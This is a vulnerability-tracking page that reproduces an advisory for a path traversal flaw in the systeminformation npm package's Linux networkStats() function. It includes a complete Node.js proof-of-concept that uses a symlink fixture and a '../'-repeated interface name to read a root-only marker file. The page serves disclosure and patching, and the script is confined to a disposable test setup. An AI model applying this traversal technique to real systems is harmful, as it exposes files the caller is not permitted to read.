KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 02:31 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-116673

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

On Linux, systeminformation@5.33.13 builds /sys/class/net/ paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net.

Published Updated

At a glance

Exploited
Not known
Severity
3.3 Low (CVSS 3.1)
Chance of exploitation
0.1% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: systeminformation: 5.33.14. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-4vjg-vx72-qq4g (opens a new tab)

What happened

Summary

On Linux, systeminformation@5.33.13 builds /sys/class/net/ paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

Continue reading

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
 const fs = require('node:fs');
 const root = process.env.SI_FIXTURE_ROOT;
 const secret = process.env.SI_SECRET;
 fs.mkdirSync(root + '/statistics', { recursive: true });
 for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
 fs.writeFileSync(root + '/statistics/' + name, '0\\n');
 }
 fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
 try {
 fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
 fs.chmodSync(secret, 0o600);

 execFileSync('runuser', [
 '-u', 'nobody', '--', 'env',
 `SI_FIXTURE_ROOT=${root}`,
 `SI_SECRET=${secret}`,
 process.execPath, '-e', fixtureCode
 ], { stdio: 'inherit' });

 let nobodyCouldRead = true;
 try {
 execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
 } catch {
 nobodyCouldRead = false;
 }
 if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

 const iface = '../'.repeat(24) + root.slice(1);
 const rows = await si.networkStats(iface);
 const returned = String(rows[0]?.operstate ?? '').trim();
 const success = returned === marker;

 console.log(JSON.stringify({
 nobodyCouldRead,
 libraryReturnedRootOnlyMarker: success,
 returnedOperstate: returned
 }, null, 2));

 if (!success) process.exitCode = 1;
 } finally {
 fs.rmSync(root, { recursive: true, force: true });
 fs.rmSync(secret, { force: true });
 }
})().catch((error) => {
 console.error(error);
 process.exitCode = 1;
});

Expected result:

{
 "nobodyCouldRead": false,
 "libraryReturnedRootOnlyMarker": true,
 "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_ "
}

Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Affected package ranges reported by GitHub: systeminformation: < 5.33.14

Scores and how they were measured

CVSS base severity

3.3

Version 3.1As of

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.1%

Scored Percentile 2.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow JavaScript packages (npm): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-4vjg-vx72-qq4g (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-4vjg-vx72-qq4g, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-116673, scored 2026-10-28. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net (CVE-2026-116673). https://kevwire.com/record/CVE-2026-116673

MLA

"systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net (CVE-2026-116673)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-116673.

Chicago

KEVWire. "systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net (CVE-2026-116673)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-116673.

Evidence summary (plain text)

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net (Oct 28, 2026).
On Linux, systeminformation@5.33.13 builds /sys/class/net/  paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics.
CVSS 3.3 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-4vjg-vx72-qq4g).
EPSS 0.1% for the following 30 days, scored Oct 28, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116673&date=2026-10-28).
Sources:
GitHub-reviewed advisory GHSA-4vjg-vx72-qq4g: https://github.com/advisories/GHSA-4vjg-vx72-qq4g
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116673&date=2026-10-28
Record ID: CVE-2026-116673.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 02:16 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail